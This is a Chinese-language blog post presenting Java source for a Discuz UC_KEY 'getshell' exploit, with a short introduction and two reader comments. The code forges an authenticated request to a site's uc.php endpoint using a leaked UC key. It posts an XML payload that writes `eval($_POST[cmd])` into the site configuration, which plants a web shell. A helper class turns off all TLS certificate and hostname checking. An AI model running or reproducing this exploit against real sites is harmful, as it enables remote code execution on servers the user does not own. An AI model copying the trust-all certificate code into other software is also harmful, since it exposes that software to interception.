java 实现Discuz UC_KEY GetShell

yzmm
697 阅读
Discuz自身提供了一个函数_authcode,实现了自身的Encode和Decode。这里写了一段代码,基本翻译了Discuz的Encode部分。代码没什么难点,麻烦的是如果你用Java去实现Encode会发现里面有许多的坑。我写了俩php的函数microtime();和time();的实现。用Map替换了PHP的range函数,其次需要注意的是php的chr,chr返回的是Java里的byte(在这里被坑了好久...)。

附了一个忽略SSL安全证书验证的工具类,Base64用了apache的commons-codec-1.5.jar,IO操作用了apache的commons-io-2.2.jar。

DZ.java:

import java.io.ByteArrayOutputStream;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.io.IOUtils;
public class DZ {
	/**
	 * 模拟PHP的microtime函数
	 * @return
	 */
	public static String microtime(){
		String a = String.valueOf(System.nanoTime());
		return "0."+a.substring(10,a.length()-1)+" "+a.substring(0,10);
	}
	/**
	 * 拼byte数组
	 * @param b
	 * @return
	 */
	protected static byte[] toByteArray(Byte[] b) {
		ByteArrayOutputStream bos = new ByteArrayOutputStream();
		for (byte bs : b) {
			bos.write(bs);
		}
		return bos.toByteArray();
	}
	/**
	 * Discuz 授权 Encode
	 * @param $string
	 * @param ucKey
	 * @return
	 */
	public static String auth(String $string,String ucKey){
		int $ckey_length = 4;
		String $key = DigestUtils.md5Hex(ucKey);
		String $keya = DigestUtils.md5Hex($key.substring(0,16));
		String $keyb = DigestUtils.md5Hex($key.substring(16,32));
		String microtime = DigestUtils.md5Hex(microtime());
		String $keyc = microtime.substring(microtime.length()-$ckey_length,microtime.length());
		String $cryptkey = $keya+DigestUtils.md5Hex($keya+$keyc);
		String sb = DigestUtils.md5Hex($string+$keyb).substring(0,16);
		$string = String.format("%010d", 0 )+sb+$string;
		int $string_length = $string.length();
		Map<Integer,Integer> box = new LinkedHashMap<Integer, Integer>();
		for (int i = 0; i <= 255; i++) {
			box.put(i, i);
		}
		List<Integer> ls = new ArrayList<Integer>();
		char[] $cryptkeyArray = $cryptkey.toCharArray();
		int r = 0;
		for (int i = 0; i <= 255; i++) {
			r = r==$cryptkeyArray.length?0:r;
			ls.add((int)$cryptkeyArray[r]);
			r ++;
		}
		int p = 0;
		for(int i= 0; i < 256; i++) {
			int $tmp = (Integer)box.get(i);
			p = (p+$tmp + ls.get(i)) % 256;
			box.put(i, box.get(p));
			box.put(p, $tmp);
		}
		List<Byte> bs = new ArrayList<Byte>();
		char[] $stringArray = $string.toCharArray();
		int a=0,j=0;
		for(int i = 0; i < $string_length; i++) {
	        a = (a + 1) % 256;
	        j = (j + box.get(a)) % 256;
	        int $tmp = box.get(a);
	        box.put(a, box.get(j));
	        box.put(j, $tmp);
	        int s = ((int)$stringArray[i] ^ box.get((box.get(a) + box.get(j)) % 256));
	        bs.add((byte)s);
	    }
		byte[] bb = toByteArray(bs.toArray(new Byte[bs.size()]));
		return $keyc+(Base64.encodeBase64String(bb).replace("=", ""));
	}
	/**
	 * 模拟PHP的time函数
	 * @return
	 */
	public static String time(){
		return String.valueOf(System.currentTimeMillis()).substring(0,10);
	}
	/**
	 * 发送POST请求
	 * @param $cmd
	 * @param $url
	 * @param timeOut
	 * @return
	 */
	public static String send(String $cmd,String $url,int timeOut){
		try {
	    	URL u = new URL($url);
	    	//忽略HTTPS请求证书验证
	    	if("https".equalsIgnoreCase(u.getProtocol())){
				SslUtils.ignoreSsl();
			}
	    	URLConnection conn = u.openConnection();
			conn.setConnectTimeout(timeOut);
			conn.setReadTimeout(timeOut);
			conn.setDoOutput(true);
			conn.setDoInput(true);
			conn.getOutputStream().write($cmd.getBytes());
			return IOUtils.toString(conn.getInputStream(),"UTF-8");
		} catch (Exception e) {
			e.printStackTrace();
		}
		return $url;
	}
	public static void main(String[] args) {
		String $url = "http://192.168.199.230/api/uc.php?code=";//URL 地址
		String ucKey = "re67v405CbJ0A5G8Wck6y7d552x1NcY0L1U6O340v2c7P4ecb6m2P611YdZ2A8De";//UC KEY
		String timestamp = String.valueOf(Long.parseLong(time())+10*3600);
		try {
			String $code = URLEncoder.encode(auth("time="+timestamp+"&action=updateapps", ucKey),"UTF-8");
			String $cmd1="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><root><item id=\"UC_API\">xxx\');eval($_POST[cmd]);//</item></root>";
			String $cmd2="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><root><item id=\"UC_API\">aaa</item></root>";
			String $html1 = send($cmd1, $url+$code, 5000);
			System.out.println($html1);
			String $html2 = send($cmd2, $url+$code, 5000);
			System.out.println($html2);
		} catch (UnsupportedEncodingException e) {
			e.printStackTrace();
		}
	}
}

SslUtils.java:

import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
public class SslUtils {
	private static void trustAllHttpsCertificates() throws Exception {
		TrustManager[] trustAllCerts = new TrustManager[1];
		TrustManager tm = new miTM();
		trustAllCerts[0] = tm;
		SSLContext sc = SSLContext.getInstance("SSL");
		sc.init(null, trustAllCerts, null);
		HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
	}
	static class miTM implements TrustManager,X509TrustManager {
		public X509Certificate[] getAcceptedIssuers() {
			return null;
		}
		public boolean isServerTrusted(X509Certificate[] certs) {
			return true;
		}
		public boolean isClientTrusted(X509Certificate[] certs) {
			return true;
		}
		public void checkServerTrusted(X509Certificate[] certs, String authType)
				throws CertificateException {
			return;
		}
		public void checkClientTrusted(X509Certificate[] certs, String authType)
				throws CertificateException {
			return;
		}
	}
	/**
	 * 忽略HTTPS请求的SSL证书,必须在openConnection之前调用
	 * @throws Exception
	 */
	public static void ignoreSsl() throws Exception{
		HostnameVerifier hv = new HostnameVerifier() {
			public boolean verify(String urlHostName, SSLSession session) {
				System.out.println("Warning: URL Host: " + urlHostName + " vs. " + session.getPeerHost());
				return true;
			}
		};
		trustAllHttpsCertificates();
		HttpsURLConnection.setDefaultHostnameVerifier(hv);
	}
}

评论 (2)

linso
支持园长大大←_←
yzmm
谢谢~

发表评论